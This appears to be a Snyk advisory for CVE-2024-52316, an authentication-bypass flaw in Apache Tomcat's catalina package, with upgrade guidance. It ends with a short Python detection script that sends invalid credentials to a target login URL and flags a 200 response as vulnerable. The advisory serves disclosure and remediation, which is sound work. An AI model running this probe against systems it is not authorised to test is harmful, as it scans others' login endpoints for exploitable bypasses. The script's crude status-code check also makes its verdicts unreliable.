Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade org.apache.tomcat:tomcat-catalina
to version 9.0.96, 10.1.31, 11.0.0 or higher.
org.apache.tomcat:tomcat-catalina is a Tomcat Servlet Engine Core Classes and Standard implementations.
Affected versions of this package are vulnerable to Uncaught Exception due to the custom Jakarta Authentication ServerAuthContext
component which may throw an exception during the authentication process without setting an HTTP status to indicate failure. An attacker can gain unauthorized access by exploiting this unchecked error condition.
Note:
This is only exploitable if Tomcat is configured to use a custom Jakarta Authentication
ServerAuthContext
component that behaves in this way. According to the maintainers, no such cases are known.
import requests
# Target server configuration
TARGET_URL = "http://example.com/login" # Replace with your target's authentication URL
TEST_HEADERS = {
"Content-Type": "application/json"
}
TEST_PAYLOAD = {
"username": "test_user", # Sample username
"password": "invalid_password" # Invalid password for testing
}
def check_cve_2024_52316(target_url):
"""
Test for CVE-2024-52316 vulnerability by sending crafted authentication requests.
Args:
target_url (str): The URL of the authentication endpoint to test.
"""
try:
print(f"[*] Sending test request to {target_url}")
# Send a POST request with the test payload
response = requests.post(target_url, json=TEST_PAYLOAD, headers=TEST_HEADERS, timeout=5)
# Analyze the server's response
if response.status_code in [401, 403]:
print(f"[SAFE] The server returned an expected HTTP status code: {response.status_code}")
elif response.status_code == 200:
print(f"[VULNERABLE] Potential CVE-2024-52316 detected! Server returned status code: {response.status_code}")
else:
print(f"[INFO] Unexpected HTTP status code: {response.status_code}")
print("Response content:", response.text)
except requests.exceptions.RequestException as e:
print(f"[ERROR] Failed to connect to the target: {e}")
if __name__ == "__main__":
print("[START] CVE-2024-52316 Detection Script")
check_cve_2024_52316(TARGET_URL)